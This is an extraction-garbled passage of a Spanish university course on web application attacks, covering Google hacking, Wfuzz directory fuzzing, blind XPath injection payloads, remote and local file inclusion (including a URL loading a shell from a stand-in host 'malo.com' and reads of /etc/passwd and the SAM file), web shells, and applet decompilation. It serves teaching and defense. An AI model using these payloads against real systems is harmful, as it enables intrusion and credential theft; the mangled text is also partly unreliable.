Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 51: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

